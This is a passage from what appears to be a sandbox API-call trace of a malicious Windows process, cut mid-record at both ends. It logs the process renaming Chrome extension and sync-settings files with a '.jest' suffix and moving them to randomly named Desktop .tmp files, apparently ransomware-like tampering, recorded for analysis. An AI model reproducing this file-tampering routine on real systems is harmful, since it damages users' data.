lpFilePart=0x18e708*="Hjd0vBBR9 IB6_x4yHUT9f0mSJ7ALXKBLDr4mLKxe2YYMcwbcx wy4Eikt1BhE3oJf2o_BCuupPvbOfofDRj2NiqKtIpiPs2kveF.tmp") returned 0x8e [0150.242] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png", lpFilePart=0x18e708*="topbar_floating_button_pressed.png") returned 0xab [0150.242] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hjd0vBBR9 IB6_x4yHUT9f0mSJ7ALXKBLDr4mLKxe2YYMcwbcx wy4Eikt1BhE3oJf2o_BCuupPvbOfofDRj2NiqKtIpiPs2kveF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hjd0vbbr9 ib6_x4yhut9f0msj7alxkbldr4mlkxe2yymcwbcx wy4eikt1bhe3ojf2o_bcuuppvbofofdrj2niqktipips2kvef.tmp")) returned 0 [0150.242] GetLastError () returned 0x2 [0150.242] GetLastError () returned 0x2 [0150.242] SetLastError (dwErrCode=0x2) [0150.243] GetLastError () returned 0x2 [0150.243] SetLastError (dwErrCode=0x2) [0150.243] GetLastError () returned 0x2 [0150.243] SetLastError (dwErrCode=0x2) [0150.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.243] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.243] GetFullPathNameA (in: lpFileName="Hjd0vBBR9 IB6_x4yHUT9f0mSJ7ALXKBLDr4mLKxe2YYMcwbcx wy4Eikt1BhE3oJf2o_BCuupPvbOfofDRj2NiqKtIpiPs2kveF.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hjd0vBBR9 IB6_x4yHUT9f0mSJ7ALXKBLDr4mLKxe2YYMcwbcx wy4Eikt1BhE3oJf2o_BCuupPvbOfofDRj2NiqKtIpiPs2kveF.tmp", lpFilePart=0x18e6e4*="Hjd0vBBR9 IB6_x4yHUT9f0mSJ7ALXKBLDr4mLKxe2YYMcwbcx wy4Eikt1BhE3oJf2o_BCuupPvbOfofDRj2NiqKtIpiPs2kveF.tmp") returned 0x8e [0150.243] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hjd0vBBR9 IB6_x4yHUT9f0mSJ7ALXKBLDr4mLKxe2YYMcwbcx wy4Eikt1BhE3oJf2o_BCuupPvbOfofDRj2NiqKtIpiPs2kveF.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x30646a48, cFileName="vBBR9 IB6_x4yHUT9f0mSJ7ALXKBLDr4mLKxe2YYMcwbcx wy4Eikt1BhE3oJf2o_BCuupPvbOfofDRj2NiqKtIpiPs2kveF.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.243] GetLastError () returned 0x2 [0150.243] GetLastError () returned 0x2 [0150.244] SetLastError (dwErrCode=0x2) [0150.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.244] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.245] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.245] CoFreeUnusedLibraries () [0150.245] GetTickCount () returned 0x115755f [0150.245] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.245] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.245] GetTickCount () returned 0x115755f [0150.245] IsWindowVisible (hWnd=0x30268) returned 0 [0150.245] Sleep (dwMilliseconds=0x0) [0150.245] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.246] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.246] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log.jest")) returned 1 [0150.249] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log", lpFilePart=0x18e6d8*="000003.log") returned 0x66 [0150.249] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x5000005, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ebc8, ftLastAccessTime.dwLowDateTime=0x1446100, ftLastAccessTime.dwHighDateTime=0x1436318, ftLastWriteTime.dwLowDateTime=0x28, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x2, nFileSizeLow=0x144eae0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.249] GetLastError () returned 0x2 [0150.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.249] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.250] VarBstrFromR4 (in: fltIn=0x47944ff7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75935.93") returned 0x0 [0150.250] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.250] CoFreeUnusedLibraries () [0150.250] GetTickCount () returned 0x115755f [0150.250] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.250] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.250] GetTickCount () returned 0x115755f [0150.250] IsWindowVisible (hWnd=0x30268) returned 0 [0150.250] Sleep (dwMilliseconds=0x0) [0150.251] GetFullPathNameA (in: lpFileName="UcimTl0dfx0Oa55L79DFseKwOveKVsBw0sx-Snlt8kR8B1ENGSXYJ DTJkhLdUeD8l2eU3WZHKCESRzIfYE8BRk eZ-Y_E8vViVOL.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UcimTl0dfx0Oa55L79DFseKwOveKVsBw0sx-Snlt8kR8B1ENGSXYJ DTJkhLdUeD8l2eU3WZHKCESRzIfYE8BRk eZ-Y_E8vViVOL.tmp", lpFilePart=0x18e708*="UcimTl0dfx0Oa55L79DFseKwOveKVsBw0sx-Snlt8kR8B1ENGSXYJ DTJkhLdUeD8l2eU3WZHKCESRzIfYE8BRk eZ-Y_E8vViVOL.tmp") returned 0x8f [0150.251] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log", lpFilePart=0x18e708*="000003.log") returned 0x66 [0150.251] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UcimTl0dfx0Oa55L79DFseKwOveKVsBw0sx-Snlt8kR8B1ENGSXYJ DTJkhLdUeD8l2eU3WZHKCESRzIfYE8BRk eZ-Y_E8vViVOL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ucimtl0dfx0oa55l79dfsekwovekvsbw0sx-snlt8kr8b1engsxyj dtjkhldued8l2eu3wzhkcesrzifye8brk ez-y_e8vvivol.tmp")) returned 0 [0150.251] GetLastError () returned 0x2 [0150.251] GetLastError () returned 0x2 [0150.252] SetLastError (dwErrCode=0x2) [0150.252] GetLastError () returned 0x2 [0150.252] SetLastError (dwErrCode=0x2) [0150.252] GetLastError () returned 0x2 [0150.252] SetLastError (dwErrCode=0x2) [0150.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55e4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.252] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.252] GetFullPathNameA (in: lpFileName="UcimTl0dfx0Oa55L79DFseKwOveKVsBw0sx-Snlt8kR8B1ENGSXYJ DTJkhLdUeD8l2eU3WZHKCESRzIfYE8BRk eZ-Y_E8vViVOL.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UcimTl0dfx0Oa55L79DFseKwOveKVsBw0sx-Snlt8kR8B1ENGSXYJ DTJkhLdUeD8l2eU3WZHKCESRzIfYE8BRk eZ-Y_E8vViVOL.tmp", lpFilePart=0x18e6e4*="UcimTl0dfx0Oa55L79DFseKwOveKVsBw0sx-Snlt8kR8B1ENGSXYJ DTJkhLdUeD8l2eU3WZHKCESRzIfYE8BRk eZ-Y_E8vViVOL.tmp") returned 0x8f [0150.252] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UcimTl0dfx0Oa55L79DFseKwOveKVsBw0sx-Snlt8kR8B1ENGSXYJ DTJkhLdUeD8l2eU3WZHKCESRzIfYE8BRk eZ-Y_E8vViVOL.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6d696355, cFileName="Tl0dfx0Oa55L79DFseKwOveKVsBw0sx-Snlt8kR8B1ENGSXYJ DTJkhLdUeD8l2eU3WZHKCESRzIfYE8BRk eZ-Y_E8vViVOL.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.252] GetLastError () returned 0x2 [0150.253] GetLastError () returned 0x2 [0150.253] SetLastError (dwErrCode=0x2) [0150.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55e4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.253] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.255] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.255] CoFreeUnusedLibraries () [0150.255] GetTickCount () returned 0x115756f [0150.255] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.255] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.256] GetTickCount () returned 0x115756f [0150.256] IsWindowVisible (hWnd=0x30268) returned 0 [0150.256] Sleep (dwMilliseconds=0x0) [0150.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.256] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.257] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log.jest")) returned 1 [0150.259] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log", lpFilePart=0x18e6d8*="000003.log") returned 0x8f [0150.259] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x146ad80, nFileSizeHigh=0x14520f0, nFileSizeLow=0x0, dwReserved0=0xe2, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.259] GetLastError () returned 0x2 [0150.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.259] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.260] VarBstrFromR4 (in: fltIn=0x47944ff9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75935.95") returned 0x0 [0150.260] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.260] CoFreeUnusedLibraries () [0150.260] GetTickCount () returned 0x115756f [0150.260] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.260] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.260] GetTickCount () returned 0x115756f [0150.261] IsWindowVisible (hWnd=0x30268) returned 0 [0150.261] Sleep (dwMilliseconds=0x0) [0150.261] GetFullPathNameA (in: lpFileName="bVHiPee7SqIU6oOloJRFwpo2 9e9pUHGM4 F75XBkXBAF9Q10J7-ZLh5EnzVHflKQk-qGGbAQVXk3doeSJVZef7jizd4xv4XJsjKH.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bVHiPee7SqIU6oOloJRFwpo2 9e9pUHGM4 F75XBkXBAF9Q10J7-ZLh5EnzVHflKQk-qGGbAQVXk3doeSJVZef7jizd4xv4XJsjKH.tmp", lpFilePart=0x18e708*="bVHiPee7SqIU6oOloJRFwpo2 9e9pUHGM4 F75XBkXBAF9Q10J7-ZLh5EnzVHflKQk-qGGbAQVXk3doeSJVZef7jizd4xv4XJsjKH.tmp") returned 0x8f [0150.261] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log", lpFilePart=0x18e708*="000003.log") returned 0x8f [0150.262] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bVHiPee7SqIU6oOloJRFwpo2 9e9pUHGM4 F75XBkXBAF9Q10J7-ZLh5EnzVHflKQk-qGGbAQVXk3doeSJVZef7jizd4xv4XJsjKH.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bvhipee7sqiu6oolojrfwpo2 9e9puhgm4 f75xbkxbaf9q10j7-zlh5enzvhflkqk-qggbaqvxk3doesjvzef7jizd4xv4xjsjkh.tmp")) returned 0 [0150.262] GetLastError () returned 0x2 [0150.262] GetLastError () returned 0x2 [0150.262] SetLastError (dwErrCode=0x2) [0150.262] GetLastError () returned 0x2 [0150.262] SetLastError (dwErrCode=0x2) [0150.262] GetLastError () returned 0x2 [0150.262] SetLastError (dwErrCode=0x2) [0150.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.262] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.262] GetFullPathNameA (in: lpFileName="bVHiPee7SqIU6oOloJRFwpo2 9e9pUHGM4 F75XBkXBAF9Q10J7-ZLh5EnzVHflKQk-qGGbAQVXk3doeSJVZef7jizd4xv4XJsjKH.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bVHiPee7SqIU6oOloJRFwpo2 9e9pUHGM4 F75XBkXBAF9Q10J7-ZLh5EnzVHflKQk-qGGbAQVXk3doeSJVZef7jizd4xv4XJsjKH.tmp", lpFilePart=0x18e6e4*="bVHiPee7SqIU6oOloJRFwpo2 9e9pUHGM4 F75XBkXBAF9Q10J7-ZLh5EnzVHflKQk-qGGbAQVXk3doeSJVZef7jizd4xv4XJsjKH.tmp") returned 0x8f [0150.262] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bVHiPee7SqIU6oOloJRFwpo2 9e9pUHGM4 F75XBkXBAF9Q10J7-ZLh5EnzVHflKQk-qGGbAQVXk3doeSJVZef7jizd4xv4XJsjKH.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x69485662, cFileName="Pee7SqIU6oOloJRFwpo2 9e9pUHGM4 F75XBkXBAF9Q10J7-ZLh5EnzVHflKQk-qGGbAQVXk3doeSJVZef7jizd4xv4XJsjKH.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.263] GetLastError () returned 0x2 [0150.263] GetLastError () returned 0x2 [0150.263] SetLastError (dwErrCode=0x2) [0150.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.263] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.267] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.267] CoFreeUnusedLibraries () [0150.267] GetTickCount () returned 0x115756f [0150.267] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.267] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.267] GetTickCount () returned 0x115756f [0150.267] IsWindowVisible (hWnd=0x30268) returned 0 [0150.267] Sleep (dwMilliseconds=0x0) [0150.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.268] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.268] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.jest")) returned 1 [0150.278] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html", 